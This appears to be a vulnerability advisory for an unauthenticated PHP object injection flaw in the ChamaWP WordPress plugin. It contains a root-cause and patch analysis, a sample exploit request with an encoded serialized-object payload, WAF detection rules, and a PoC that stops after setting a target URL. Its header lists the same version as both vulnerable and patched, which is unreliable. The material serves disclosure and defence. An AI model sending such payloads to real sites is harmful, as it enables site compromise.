Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2025-15672: ChamaWP – Monetize With Donations, Memberships, Crowdfunding, Commissions & Restricted Content < 1.0.13 Unauthenticated PHP Object Injection PoC, Patch Analysis & Rule

Plugin chama
Severity High (CVSS 8.1)
CWE 502
Vulnerable Version 1.0.13
Patched Version 1.0.13
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15672: The ChamaWP plugin for WordPress, versions up to 1.0.12, contains an unauthenticated PHP Object Injection vulnerability in the `content-payment.php` and `content-subscription.php` templates. These templates deserialize untrusted input from the `meta` GET parameter using `unserialize(base64_decode($meta))`. With a CVSS score of 8.1 and CWE-502, this flaw allows attackers to inject arbitrary PHP objects into the application scope. While no POP chain exists within the plugin itself, the presence of a suitable gadget chain in another installed plugin or theme could enable file deletion, sensitive data retrieval, or remote code execution.

Root Cause: The root cause lies in the direct deserialization of user-supplied data. In `/wp-content/plugins/chama/templates/content-payment.php` (line 29 of the original code), the plugin executes `$payment_data = unserialize(base64_decode($meta));` after retrieving the `meta` parameter via `filter_input(INPUT_GET, ‘meta’, FILTER_SANITIZE_FULL_SPECIAL_CHARS)`. The same pattern appears in `content-subscription.php` (line 29 of the original code). Neither template validates the data format or uses a safe decoding method. The plugin uses this `meta` parameter to pass payment details (amount, type, etc.) between pages, but it fails to ensure the integrity of the data. This allows any unauthenticated visitor to supply a crafted base64-encoded serialized string, triggering object injection when the page loads.

Exploitation: An attacker can exploit this by sending a GET request to any page that loads the vulnerable template (e.g., a page containing the `[chama_payment]` shortcode or the subscription page). The attacker appends a `meta` parameter containing a base64-encoded serialized PHP object. For example, a request to `https://example.com/payment/?meta=TzoxMjoiRXZpbFBheWxvYWQiOjA6e30=` would instantiate an `EvilPayload` object if such a class exists. The unserialization occurs during the page rendering, before any authentication checks. No nonce or capability check protects this endpoint, making it fully unauthenticated. Attackers can leverage this to trigger magic methods (`__wakeup`, `__destruct`, etc.) in classes loaded by WordPress or other plugins, potentially leading to a POP chain exploit.

Patch Analysis: The patch (version 1.0.13) replaces the insecure deserialization with a custom signed payload mechanism. The `meta` parameter is now processed by `chama_decode_payload()`, which verifies an HMAC-SHA256 signature using a secret key stored in the `chama_signing_key` option. If the signature is invalid, the function returns an empty array, preventing any unserialization. The vulnerable calls to `unserialize()` are removed entirely. Similarly, the `receipt_id` parameter in confirmation pages is now signed and verified via `chama_encode_receipt_id()` and `chama_get_receipt_id()`. This change ensures that only data generated by the plugin (and signed with the site’s secret) is accepted, blocking attacker-controlled input. The patch also adds other security hardening (nonce checks, capability checks, webhook signature verification) but the core fix for CVE-2025-15672 is the elimination of untrusted unserialization.

Impact: Successful exploitation of this vulnerability allows unauthenticated attackers to inject arbitrary PHP objects. While the plugin lacks a POP chain, the injected object can interact with other installed plugins or themes that have known gadget chains. This could lead to severe consequences such as arbitrary file deletion, sensitive data exposure, or remote code execution. The CVSS score of 8.1 reflects the high confidentiality, integrity, and availability impact potential. Attackers could also use this as a stepping stone for further attacks, such as privilege escalation or site takeover. All versions up to 1.0.12 are affected, and administrators are urged to update to 1.0.13 immediately.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/chama/chama.php
+++ b/chama/chama.php
@@ -3,7 +3,7 @@
      * Plugin Name: Chama
      * Plugin URI:  https://www.chamawp.com
      * Description: Monetize your content with donations, paid subscriptions, crowdfunding and commissions.
-     * Version:     1.0.12
+     * Version:     1.0.13
      * Author:      Leetoo
      * Author URI:  https://leetoo.net/
      * License:     GPLv3 or later
@@ -33,7 +33,7 @@
                 }

                 if (! defined('CHAMA_VERSION')) {
-                    define('CHAMA_VERSION', '1.0.12');
+                    define('CHAMA_VERSION', '1.0.13');
                 }
                 if (! defined('CHAMAWP_URL')) {
                     define('CHAMAWP_URL', 'https://www.chamawp.com');
--- a/chama/inc/gateways/stripe/stripe-apple-pay.php
+++ b/chama/inc/gateways/stripe/stripe-apple-pay.php
@@ -1,4 +1,7 @@
 <?php
+if (! defined('ABSPATH')) {
+	exit;
+}

 /*
  * Add query var if Stripe is looking for domain association file.
--- a/chama/inc/protection.php
+++ b/chama/inc/protection.php
@@ -345,7 +345,7 @@
         wp_enqueue_style('chama-protected-content');
         ob_start();
         $protection_message = '';
-        if (str_contains($post_level, '0.01')) {
+        if (false !== strpos($post_level, '0.01')) {
             $protection_message = 'Only paying members can access this content';
         } else {
             $protection_message = 'Only for members signed up for at least the ' . $post_level . ' level';
--- a/chama/inc/shared.php
+++ b/chama/inc/shared.php
@@ -2135,3 +2135,104 @@
         exit;
     }
 }
+
+/**
+ * Secret used to sign plugin generated URL payloads. Created once per site.
+ */
+function chama_get_signing_key()
+{
+    $key = get_option('chama_signing_key');
+    if (! $key) {
+        $key = wp_generate_password(64, true, true);
+        update_option('chama_signing_key', $key, false);
+    }
+    return $key;
+}
+
+/**
+ * Encode an array as a URL safe, HMAC signed token.
+ */
+function chama_encode_payload($data)
+{
+    $payload = rtrim(strtr(base64_encode(wp_json_encode($data)), '+/', '-_'), '=');
+    return $payload . '.' . hash_hmac('sha256', $payload, chama_get_signing_key());
+}
+
+/**
+ * Verify and decode a token from chama_encode_payload(). Returns [] if missing or tampered with.
+ */
+function chama_decode_payload($token)
+{
+    if (! is_string($token) || false === strpos($token, '.')) {
+        return [];
+    }
+    list($payload, $signature) = explode('.', $token, 2);
+    if (! hash_equals(hash_hmac('sha256', $payload, chama_get_signing_key()), $signature)) {
+        return [];
+    }
+    $json = base64_decode(strtr($payload, '-_', '+/'), true);
+    $data = $json ? json_decode($json, true) : null;
+    return is_array($data) ? $data : [];
+}
+
+/**
+ * Transaction post types a receipt may point at.
+ */
+function chama_get_transaction_post_types()
+{
+    return ['chama_donation', 'chama_subscription', 'chama_fund', 'chama_com_order'];
+}
+
+/**
+ * Encode a receipt ID for use in a confirmation link.
+ */
+function chama_encode_receipt_id($receipt_id)
+{
+    return chama_encode_payload(['id' => (int) $receipt_id]);
+}
+
+/**
+ * Resolve a receipt token to a post ID. Signed tokens are trusted; legacy
+ * unsigned IDs are only honoured for the owner or an administrator.
+ */
+function chama_get_receipt_id($token)
+{
+    $data       = chama_decode_payload($token);
+    $is_signed  = isset($data['id']);
+    $receipt_id = $is_signed ? (int) $data['id'] : (int) base64_decode((string) $token, true);
+
+    if ($receipt_id < 1 || ! in_array(get_post_type($receipt_id), chama_get_transaction_post_types(), true)) {
+        return 0;
+    }
+    if ($is_signed) {
+        return $receipt_id;
+    }
+    $owner = (int) get_post_meta($receipt_id, 'chama_user_id', true);
+    return (current_user_can('manage_options') || ($owner && get_current_user_id() === $owner)) ? $receipt_id : 0;
+}
+
+/**
+ * True when the current user may act on a subscription transaction.
+ */
+function chama_can_manage_subscription($subscription_id)
+{
+    if (current_user_can('manage_options')) {
+        return true;
+    }
+    $owner = (int) get_post_meta((int) $subscription_id, 'chama_user_id', true);
+    return $owner > 0 && get_current_user_id() === $owner;
+}
+
+/**
+ * True when reCAPTCHA is configured but no valid response was submitted.
+ * Callers must verify their nonce before calling this.
+ */
+function chama_has_failed_recaptcha()
+{
+    if (! defined('CHAMA_RECAPTCHA_SITE_KEY') || ! CHAMA_RECAPTCHA_SITE_KEY || ! CHAMA_RECAPTCHA_SECRET_KEY) {
+        return false;
+    }
+    // phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce verified by the calling handler.
+    $response = isset($_POST['chama-captcha-response']) ? sanitize_text_field(wp_unslash($_POST['chama-captcha-response'])) : '';
+    return '' === $response || chama_validate_recaptcha($response);
+}
--- a/chama/inc/template-functions.php
+++ b/chama/inc/template-functions.php
@@ -320,14 +320,8 @@
                     return;
                 }
                 //captcha
-                if (isset($_POST['chama-captcha-response']) && ! empty($_POST['chama-captcha-response'])) {
-
-                    $gRecaptchaResponse    = sanitize_text_field(wp_unslash($_POST['chama-captcha-response']));
-                    $has_invalid_recaptcha = chama_validate_recaptcha($gRecaptchaResponse);
-                    if ($has_invalid_recaptcha) {
-                        chama_errors()->add('captcha_error', __('Could not validate the reCaptcha. Please complete it again.', 'chama'));
-                    }
-
+                if (chama_has_failed_recaptcha()) {
+                    chama_errors()->add('captcha_error', __('Could not validate the reCaptcha. Please complete it again.', 'chama'));
                 }
                 // retrieve all error messages
                 $errors = chama_errors()->get_error_messages();
@@ -425,14 +419,8 @@
                     return;
                 }
                 //captcha
-                if (isset($_POST['chama-captcha-response']) && ! empty($_POST['chama-captcha-response'])) {
-
-                    $gRecaptchaResponse    = sanitize_text_field(wp_unslash($_POST['chama-captcha-response']));
-                    $has_invalid_recaptcha = chama_validate_recaptcha($gRecaptchaResponse);
-                    if ($has_invalid_recaptcha) {
-                        chama_errors()->add('captcha_error', __('Could not validate the reCaptcha. Please complete it again.', 'chama'));
-                    }
-
+                if (chama_has_failed_recaptcha()) {
+                    chama_errors()->add('captcha_error', __('Could not validate the reCaptcha. Please complete it again.', 'chama'));
                 }

                 // retrieve all error messages
@@ -563,8 +551,7 @@
                         if (empty($errors)) {

                             wp_update_user([
-                                'ID'           => $user_ID,
-                                'user_pass'    => $password,
+                                'ID'           => $user->ID,
                                 'user_email'   => $email,
                                 'first_name'   => $first_name,
                                 'last_name'    => $last_name,
@@ -628,7 +615,7 @@
                         if (empty($errors)) {

                             wp_update_user([
-                                'ID'        => $user_ID,
+                                'ID'        => $user->ID,
                                 'user_pass' => $password,
                             ]
                             );
@@ -655,14 +642,8 @@
     try {
         if (isset($_POST['chama_action']) && $_POST['chama_action'] == 'forgot-password') {
             if (isset($_POST['chama_forgot_password_nonce']) && wp_verify_nonce(sanitize_key($_POST['chama_forgot_password_nonce']), 'chama-forgot-password-nonce')) {
-                if (isset($_POST['chama-captcha-response']) && ! empty($_POST['chama-captcha-response'])) {
-
-                    $gRecaptchaResponse    = sanitize_text_field(wp_unslash($_POST['chama-captcha-response']));
-                    $has_invalid_recaptcha = chama_validate_recaptcha($gRecaptchaResponse);
-                    if ($has_invalid_recaptcha) {
-                        chama_errors()->add('captcha_error', __('Could not validate the reCaptcha. Please complete it again.', 'chama'));
-                    }
-
+                if (chama_has_failed_recaptcha()) {
+                    chama_errors()->add('captcha_error', __('Could not validate the reCaptcha. Please complete it again.', 'chama'));
                 }

                 $email = isset($_POST['chama_email']) ? sanitize_email(wp_unslash($_POST['chama_email'])) : '';
@@ -721,9 +702,13 @@

                 if (isset($_POST["chama_user_login"])) {
                     $username = sanitize_text_field(wp_unslash($_POST["chama_user_login"]));
-                    $user     = get_user_by("login", $username);
-                    if ($user) {
+                    $key      = isset($_POST['chama_password_reset_key']) ? sanitize_text_field(wp_unslash($_POST['chama_password_reset_key'])) : '';

+                    // The emailed one-time key is the only proof of ownership. A nonce is not.
+                    $user = check_password_reset_key($key, $username);
+                    if (is_wp_error($user)) {
+                        chama_errors()->add('password_reset_key_invalid', __('This password reset link is invalid or has expired. Please request a new one.', 'chama'));
+                        return;
                     }

                     $password         = isset($_POST['chama_password']) ? sanitize_text_field(wp_unslash($_POST['chama_password'])) : '';
@@ -743,11 +728,8 @@
                     // only update the user in if there are no errors
                     if (empty($errors)) {

-                        wp_update_user([
-                            'ID'        => $user->ID,
-                            'user_pass' => $password,
-                        ]
-                        );
+                        // reset_password() also invalidates the key so it cannot be replayed.
+                        reset_password($user, $password);

                         wp_redirect(add_query_arg('password-reset', 'true', CHAMA_RESET_PASSWORD_URL));
                         exit;
@@ -771,10 +753,9 @@

             if (isset($_GET['chama_nonce']) && wp_verify_nonce(sanitize_key($_GET['chama_nonce']), 'chama_resend_confirmation_nonce')) {

-                if (isset($_GET["user_id"])) {
-                    $user_id = sanitize_text_field(wp_unslash($_GET['user_id']));
-                    $user    = get_userdata($user_id);
-                    $email   = $user->user_email;
+                // Always target the logged in user; never a user ID from the URL.
+                $user_id = get_current_user_id();
+                if ($user_id) {
                     chama_user_register($user_id, true);
                     wp_redirect(add_query_arg('sent-link', 'true', CHAMA_ACCOUNT_URL));
                     exit;
@@ -808,7 +789,7 @@
                     $errors = chama_errors()->get_error_messages();

                     $payment_data         = ['amount' => $one_time_amount, 'type' => 'one-time'];
-                    $encoded_payment_data = base64_encode(serialize($payment_data));
+                    $encoded_payment_data = chama_encode_payload($payment_data);
                     $payment_link         = add_query_arg(
                         [
                             'meta' => $encoded_payment_data,
@@ -866,7 +847,7 @@
                 if ($comission_addons) {
                     $payment_data['addons'] = $comission_addons;
                 }
-                $encoded_payment_data = base64_encode(serialize($payment_data));
+                $encoded_payment_data = chama_encode_payload($payment_data);
                 $payment_link         = add_query_arg(
                     [
                         'meta' => $encoded_payment_data,
@@ -907,11 +888,14 @@

             if (isset($_GET["type"]) && isset($_GET['payment_intent']) && isset($_GET['receipt_id'])) {
                 try {
-                    $subscription_id          = $receipt_id          = '';
+                    $subscription_id          = '';
+                    $cpt                      = '';
                     $type                     = sanitize_text_field(wp_unslash($_GET['type']));
                     $stripe_payment_intent_id = sanitize_text_field(wp_unslash($_GET['payment_intent']));
-                    if (isset($_GET["receipt_id"])) {
-                        $receipt_id = sanitize_text_field(wp_unslash($_GET["receipt_id"]));
+                    $receipt_id               = isset($_GET['receipt_id']) ? absint($_GET['receipt_id']) : 0;
+                    // Restrict writes to this plugin's own transaction records.
+                    if ($receipt_id && ! in_array(get_post_type($receipt_id), chama_get_transaction_post_types(), true)) {
+                        wp_die('Invalid receipt.');
                     }
                     //get transaction post
                     if ($stripe_payment_intent_id) {
@@ -959,7 +943,7 @@
                         }

                         if ($receipt_id) {
-                            $confirmation_receipt_id = base64_encode($receipt_id);
+                            $confirmation_receipt_id = chama_encode_receipt_id($receipt_id);
                             $confirmation_url        = $type == 'membership'  ?CHAMA_SUBSCRIPTION_CONFIRMATION_URL : CHAMA_PAYMENT_CONFIRMATION_URL;
                             $receipt_url             = add_query_arg(
                                 [
@@ -1125,7 +1109,7 @@
         'methods'             => 'POST',
         'callback'            => 'chama_handle_subscription_cancelation',
         'permission_callback' => function () {
-            return check_ajax_referer('wp_rest', '_wpnonce', false);
+            return is_user_logged_in() && check_ajax_referer('wp_rest', '_wpnonce', false);
         },

     ]);
@@ -1133,7 +1117,7 @@
         'methods'             => 'POST',
         'callback'            => 'chama_handle_account_deletion',
         'permission_callback' => function () {
-            return check_ajax_referer('wp_rest', '_wpnonce', false);
+            return is_user_logged_in() && check_ajax_referer('wp_rest', '_wpnonce', false);
         },

     ]);
@@ -1141,7 +1125,7 @@
         'methods'             => 'POST',
         'callback'            => 'chama_handle_subscription_pause',
         'permission_callback' => function () {
-            return check_ajax_referer('wp_rest', '_wpnonce', false);
+            return is_user_logged_in() && check_ajax_referer('wp_rest', '_wpnonce', false);
         },

     ]);
@@ -1149,7 +1133,7 @@
         'methods'             => 'POST',
         'callback'            => 'chama_handle_subscription_resume',
         'permission_callback' => function () {
-            return check_ajax_referer('wp_rest', '_wpnonce', false);
+            return is_user_logged_in() && check_ajax_referer('wp_rest', '_wpnonce', false);
         },

     ]);
@@ -1268,6 +1252,10 @@
     if (isset($params['_wpnonce']) && wp_verify_nonce($params['_wpnonce'], 'wp_rest')) {
         try {
             $subscription_id = (int) $params['id'];
+            // Only the subscriber, or an administrator, may act on a subscription.
+            if (! chama_can_manage_subscription($subscription_id)) {
+                return new WP_REST_Response(['status' => 'error', 'message' => 'You are not allowed to perform this action.'], 403);
+            }
             if ($subscription_id) {
                 $stripe_subscription_id = get_post_meta($subscription_id, 'chama_stripe_subscription_id', true);
                 $user_id                = get_post_meta($subscription_id, 'chama_user_id', true);
@@ -1308,6 +1296,10 @@
     if (isset($params['_wpnonce']) && wp_verify_nonce($params['_wpnonce'], 'wp_rest')) {
         try {
             $subscription_id = (int) $params['id'];
+            // Only the subscriber, or an administrator, may act on a subscription.
+            if (! chama_can_manage_subscription($subscription_id)) {
+                return new WP_REST_Response(['status' => 'error', 'message' => 'You are not allowed to perform this action.'], 403);
+            }
             if ($subscription_id) {
                 $stripe_subscription_id = get_post_meta($subscription_id, 'chama_stripe_subscription_id', true);
                 $user_id                = get_post_meta($subscription_id, 'chama_user_id', true);
@@ -1351,6 +1343,10 @@
     if (isset($params['_wpnonce']) && wp_verify_nonce($params['_wpnonce'], 'wp_rest')) {
         try {
             $subscription_id = (int) $params['id'];
+            // Only the subscriber, or an administrator, may act on a subscription.
+            if (! chama_can_manage_subscription($subscription_id)) {
+                return new WP_REST_Response(['status' => 'error', 'message' => 'You are not allowed to perform this action.'], 403);
+            }
             if ($subscription_id) {
                 $stripe_subscription_id = get_post_meta($subscription_id, 'chama_stripe_subscription_id', true);
                 $user_id                = get_post_meta($subscription_id, 'chama_user_id', true);
@@ -2418,15 +2414,9 @@
             return;
         }
         //captcha
-        if (isset($_POST['chama-captcha-response']) && ! empty($_POST['chama-captcha-response'])) {
-
-            $gRecaptchaResponse    = sanitize_text_field(wp_unslash($_POST['chama-captcha-response']));
-            $has_invalid_recaptcha = chama_validate_recaptcha($gRecaptchaResponse);
-            if ($has_invalid_recaptcha) {
-                chama_errors()->add('captcha_error', __('Could not validate the reCaptcha. Please complete it again.', 'chama'));
-                return;
-            }
-
+        if (chama_has_failed_recaptcha()) {
+            chama_errors()->add('captcha_error', __('Could not validate the reCaptcha. Please complete it again.', 'chama'));
+            return;
         }

         if (isset($_POST["chama_newsletter_email"])) {
--- a/chama/inc/utilities.php
+++ b/chama/inc/utilities.php
@@ -21,6 +21,9 @@
 }
 function chama_synchronize_subscription_renewals_ajax()
 {
+    if (! current_user_can('manage_options')) {
+        return;
+    }
     if (! isset($_POST['chama_nonce']) || ! wp_verify_nonce(sanitize_key($_POST['chama_nonce']), 'chama_sync_subscription_renewals_nonce')) {
         return;
     }
@@ -205,6 +208,9 @@

 function chama_cancel_subscription_ajax()
 {
+    if (! current_user_can('manage_options')) {
+        return;
+    }
     if (! isset($_POST['chama_nonce']) || ! wp_verify_nonce(sanitize_key($_POST['chama_nonce']), 'chama_cancel_subscription_nonce')) {
         return;
     }
--- a/chama/inc/webhooks.php
+++ b/chama/inc/webhooks.php
@@ -6,6 +6,44 @@
     die('Sorry, you cannot access this page.');
 }

+/**
+ * Verify an incoming Stripe webhook payload and return the trusted Event.
+ *
+ * Prefers signature verification when a signing secret is stored. Otherwise the
+ * event is re-fetched from Stripe by ID, which a forged payload cannot satisfy.
+ * Returns null when the payload cannot be trusted.
+ */
+if (! function_exists('chama_verify_stripe_webhook_event')):
+    function chama_verify_stripe_webhook_event($payload)
+{
+        $mode   = chama_is_live_mode() ? 'live' : 'test';
+        $secret = trim((string) get_option('chama_stripe_' . $mode . '_webhook_secret'));
+
+        if ($secret) {
+            $signature = isset($_SERVER['HTTP_STRIPE_SIGNATURE']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_STRIPE_SIGNATURE'])) : '';
+            try {
+                return ChamaWPVendorStripeWebhook::constructEvent($payload, $signature, $secret);
+            } catch (Exception $e) {
+                return null;
+            }
+        }
+
+        // No signing secret configured: confirm the event exists in our Stripe account.
+        $decoded    = json_decode($payload, true);
+        $event_id   = isset($decoded['id']) ? sanitize_text_field($decoded['id']) : '';
+        $secret_key = chama_is_live_mode() ? CHAMA_STRIPE_LIVE_SECRET_KEY : CHAMA_STRIPE_TEST_SECRET_KEY;
+        if (! $event_id || ! $secret_key) {
+            return null;
+        }
+        try {
+            $stripe = new ChamaWPVendorStripeStripeClient($secret_key);
+            return $stripe->events->retrieve($event_id);
+        } catch (Exception $e) {
+            return null;
+        }
+}
+endif;
+
 add_action('init', 'chama_process_stripe_webhook');
 if (! function_exists('chama_process_stripe_webhook')):
     function chama_process_stripe_webhook()
@@ -23,16 +61,10 @@
                 echo 'Missing payload.';
                 exit;
             }
-            $event = null;
-            try {
-                $event = ChamaWPVendorStripeEvent::constructFrom(
-                    json_decode($payload, true)
-                );
-            } catch (UnexpectedValueException $e) {
-                // Invalid payload
+            $event = chama_verify_stripe_webhook_event($payload);
+            if (! $event) {
                 http_response_code(400);
-                die('⚠️  Webhook error while parsing basic request.');
-                exit();
+                die('⚠️  Webhook signature or event could not be verified.');
             }
             // Switch through known Stripe webhook event types
             switch ($event->type) {
--- a/chama/index.php
+++ b/chama/index.php
@@ -1,2 +1,4 @@
 <?php
-die('Sorry, you cannot access this page.');
 No newline at end of file
+if (! defined('ABSPATH')) {
+    exit;
+}
--- a/chama/templates/content-accounttransactions.php
+++ b/chama/templates/content-accounttransactions.php
@@ -133,7 +133,7 @@
         $transaction_date = get_post_meta($id, $cpt . '_date_time', true);
         $transaction_date_formatted = gmdate("F, j, Y", strtotime($transaction_date));
         $status = get_post_meta($id, 'chama_payment_status', true);
-        $confirmation_receipt_id = base64_encode($id);
+        $confirmation_receipt_id = chama_encode_receipt_id($id);
         $description = get_post_meta($id, $cpt . '_description', true);
         $subscription_status = get_post_meta($id, 'chama_subscription_status', true);
         $receipt_url = add_query_arg(
--- a/chama/templates/content-campaignsnapshot.php
+++ b/chama/templates/content-campaignsnapshot.php
@@ -31,7 +31,7 @@
         $social_url = $social_title = $facebook_url = $x_url = $whatsapp_url = $linkedin_url = '' ;
         //setup payment link
         $payment_data = array('amount' => $minimum_amount, 'type' => 'crowdfunding', 'campaign-id'  => $post_id, 'description' => $title);
-        $encoded_payment_data = base64_encode(serialize($payment_data));
+        $encoded_payment_data = chama_encode_payload($payment_data);
         $payment_link = add_query_arg(
             array(
                 'meta' => $encoded_payment_data,
--- a/chama/templates/content-payment.php
+++ b/chama/templates/content-payment.php
@@ -6,7 +6,9 @@
     $validate_with_recaptcha               = CHAMA_RECAPTCHA_SITE_KEY && CHAMA_RECAPTCHA_SECRET_KEY;
     $publishable_key                       = chama_is_live_mode() ? CHAMA_STRIPE_LIVE_PUBLISHABLE_KEY : CHAMA_STRIPE_TEST_PUBLISHABLE_KEY;
     $meta = sanitize_text_field( wp_unslash( filter_input(INPUT_GET, 'meta', FILTER_SANITIZE_FULL_SPECIAL_CHARS) ) );
-    $show_payment_options                  = !empty( $meta );
+    // Signed payload only; never deserialise untrusted input.
+    $payment_data                          = chama_decode_payload($meta);
+    $show_payment_options                  = ! empty($payment_data);
     $init_amount                           = 0;
     $init_amount_cents                     = 0;
     $display_amount                        = '';
@@ -26,8 +28,7 @@
     $stripe_customer_session_client_secret = '';

     if ($show_payment_options) {
-        $payment_data = unserialize(base64_decode($meta));
-        $type         = $payment_data['type'];
+        $type         = isset($payment_data['type']) ? $payment_data['type'] : '';
         if (is_user_logged_in()) {
             $user               = wp_get_current_user();
             $user_id            = $user->ID;
--- a/chama/templates/content-paymentconfirmation.php
+++ b/chama/templates/content-paymentconfirmation.php
@@ -10,8 +10,8 @@
     $type = isset($_GET['type']) ? sanitize_text_field( wp_unslash( $_GET['type'] ) ) : '';


-    if ($receipt_id_encoded && $type) {
-        $receipt_id        = base64_decode($receipt_id_encoded);
+    $receipt_id = chama_get_receipt_id($receipt_id_encoded);
+    if ($receipt_id && $type) {
         $email             = get_post_meta($receipt_id, 'chama_email', true);
         $full_name         = get_post_meta($receipt_id, 'chama_full_name', true);
         $status            = get_post_meta($receipt_id, 'chama_payment_status', true);
--- a/chama/templates/content-resetpassword.php
+++ b/chama/templates/content-resetpassword.php
@@ -65,6 +65,7 @@
 				</p>
                 <input type="hidden" name="chama_action" value="reset-password"/>
                 <input type="hidden" name="chama_user_login" value="<?php echo esc_attr($user_login); ?>"/>
+                <input type="hidden" name="chama_password_reset_key" value="<?php echo esc_attr($key); ?>"/>
 					<input type="hidden" name="chama_password_reset_nonce" value="<?php echo esc_attr(wp_create_nonce('chama-password-reset-nonce')); ?>"/>
 					<input type="submit" class="chama-account-submit <?php echo esc_attr($disable ? 'chama-disabled-button' : 'chama-button' ); ?>" value="<?php esc_attr_e('Save Password', 'chama');?>" <?php echo esc_attr($disable ? 'disabled' : '' ); ?>  />
 				</p>
--- a/chama/templates/content-subscription.php
+++ b/chama/templates/content-subscription.php
@@ -6,7 +6,9 @@
 $validate_with_recaptcha = CHAMA_RECAPTCHA_SITE_KEY && CHAMA_RECAPTCHA_SECRET_KEY;
 $publishable_key = chama_is_live_mode() ? CHAMA_STRIPE_LIVE_PUBLISHABLE_KEY : CHAMA_STRIPE_TEST_PUBLISHABLE_KEY;
 $meta = sanitize_text_field( wp_unslash( filter_input(INPUT_GET, 'meta', FILTER_SANITIZE_FULL_SPECIAL_CHARS) ) );
-$show_subscription_options = !empty( $meta );
+// Signed payload only; never deserialise untrusted input.
+$payment_data = chama_decode_payload($meta);
+$show_subscription_options = ! empty($payment_data);
 $init_amount = 0;
 $init_amount_cents = 0;
 $display_amount = '';
@@ -24,7 +26,6 @@
 $stripe_customer_session_client_secret = '';

 if ($show_subscription_options) {
-    $payment_data = unserialize(base64_decode($meta));
     if (is_user_logged_in()) {
         $user = wp_get_current_user();
         $user_id            = $user->ID;
--- a/chama/templates/content-subscriptionconfirmation.php
+++ b/chama/templates/content-subscriptionconfirmation.php
@@ -9,8 +9,8 @@
 // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 $type = isset($_GET['type']) ? sanitize_text_field( wp_unslash( $_GET['type'] ) ) : '';

- if ($receipt_id_encoded && $type) {
-    $receipt_id        = base64_decode($receipt_id_encoded);
+$receipt_id = chama_get_receipt_id($receipt_id_encoded);
+ if ($receipt_id && $type) {
     $email = get_post_meta($receipt_id, 'chama_email', true);
     $full_name = get_post_meta($receipt_id, 'chama_full_name', true);
     $payment_status = get_post_meta($receipt_id, 'chama_payment_status', true);
--- a/chama/templates/content-tiers.php
+++ b/chama/templates/content-tiers.php
@@ -41,7 +41,7 @@
         $product_id = get_post_meta($post_id, 'tier_stripe_product_id', true);
         $price_id = get_post_meta($post_id, 'tier_stripe_price_id', true);
         $subscription_data = array('amount' => $price, 'type' => 'membership', 'tier' => $title, 'tier_id' => $post_id, 'product_id' => $product_id, 'price_id' => $price_id);
-        $encoded_subscription_data = base64_encode(serialize($subscription_data));
+        $encoded_subscription_data = chama_encode_payload($subscription_data);
         $subscription_link = add_query_arg(
             array(
                 'meta' => $encoded_subscription_data,
--- a/chama/views/admin-branding-bar.php
+++ b/chama/views/admin-branding-bar.php
@@ -92,7 +92,9 @@
     // phpcs:ignore WordPress.Security.NonceVerification.Recommended
     $post_id = isset($_GET['post']) ? sanitize_text_field(wp_unslash($_GET['post'])) : '';
     if ($post_type) {
-        $labels = get_post_type_labels(get_post_type_object($post_type));
+        // get_post_type_object()->labels is the public equivalent of the private get_post_type_labels().
+        $post_type_object = get_post_type_object($post_type);
+        $labels           = $post_type_object ? $post_type_object->labels : null;
         switch ($post_type) {
             case 'chama_tier':
             case 'chama_commission':
@@ -121,7 +123,7 @@
             case 'chama_com_order':
                 $breadcrumb       = $is_all ? $labels->name : $breadcrumb;
                 $breadcrumb       = $is_edit ? 'Commission Order - ' . $post_id : $breadcrumb;
-                $$test_mode_order = $post_type == 'chama_com_order' && $post_id ? get_post_meta($post_id, 'chama_is_test_commission_order', true) : false;
+                $test_mode_order = $post_type == 'chama_com_order' && $post_id ? get_post_meta($post_id, 'chama_is_test_commission_order', true) : false;
                 break;
         }
     }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-15672
SecRule REQUEST_URI "@rx ^/payment/?$" 
  "id:20251567,phase:2,deny,status:403,chain,msg:'CVE-2025-15672 ChamaWP PHP Object Injection via meta parameter',severity:'CRITICAL',tag:'CVE-2025-15672'"
  SecRule ARGS_GET:meta "@rx ^[A-Za-z0-9+/=]+$" "chain"
    SecRule ARGS_GET:meta "@rx ^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$" "chain"
      SecRule ARGS_GET:meta "@rx ^Tz|^Yz|^Qz|^Tzo|^YTo|^QTo" "t:base64Decode"

SecRule REQUEST_URI "@rx ^/subscription/?$" 
  "id:20251568,phase:2,deny,status:403,chain,msg:'CVE-2025-15672 ChamaWP PHP Object Injection via meta parameter',severity:'CRITICAL',tag:'CVE-2025-15672'"
  SecRule ARGS_GET:meta "@rx ^[A-Za-z0-9+/=]+$" "chain"
    SecRule ARGS_GET:meta "@rx ^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$" "chain"
      SecRule ARGS_GET:meta "@rx ^Tz|^Yz|^Qz|^Tzo|^YTo|^QTo" "t:base64Decode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15672 - ChamaWP Unauthenticated PHP Object Injection

$target_url = 'http://example.com'; // Change to your target WordPress site
